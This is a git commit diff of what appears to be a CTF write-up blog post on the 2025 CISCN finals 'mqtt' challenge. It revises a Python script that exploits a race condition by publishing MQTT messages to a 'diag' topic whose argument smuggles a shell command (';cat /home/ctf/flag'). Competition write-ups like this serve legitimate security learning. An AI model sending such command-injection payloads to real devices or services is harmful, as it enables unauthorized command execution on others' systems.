Skip to content

Commit 60fd90e

Browse files
committed
ciscnxccb2025: update mqtt flag
1 parent 02f2cf9 commit 60fd90e

File tree

2 files changed

+8
-4
lines changed

2 files changed

+8
-4
lines changed

source/_posts/ciscnxccb2025/final.mqtt.md

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
---
22
title: 国赛 决赛 2025 - mqtt
33
date: 2025/07/19 23:32:00
4-
updated: 2025/07/19 23:32:00
4+
updated: 2025/07/20 08:06:00
55
tags:
66
- mqtt
77
- race condition
@@ -81,11 +81,11 @@ cmd = {
8181
'arg': '123456789',
8282
}
8383
client.loop_start()
84+
client.subscribe('diag/resp')
8485
client.publish('diag', dumps(cmd))
85-
time.sleep(0.5)
86-
cmd['arg'] = ';cat /home/ctf/flag#'
86+
time.sleep(1)
87+
cmd['arg'] = '123;cat /home/ctf/flag;'
8788
client.publish('diag', dumps(cmd))
88-
client.subscribe('diag/resp')
8989
try:
9090
while True:
9191
time.sleep(0.5)
@@ -94,3 +94,7 @@ except KeyboardInterrupt:
9494
client.loop_stop()
9595
client.disconnect()
9696
```
97+
98+
{% note default fa-flag %}
99+
![flag](/assets/ciscnxccb2025/mqtt_flag.png)
100+
{% endnote %}
41.5 KB
Loading

0 commit comments

Comments
 (0)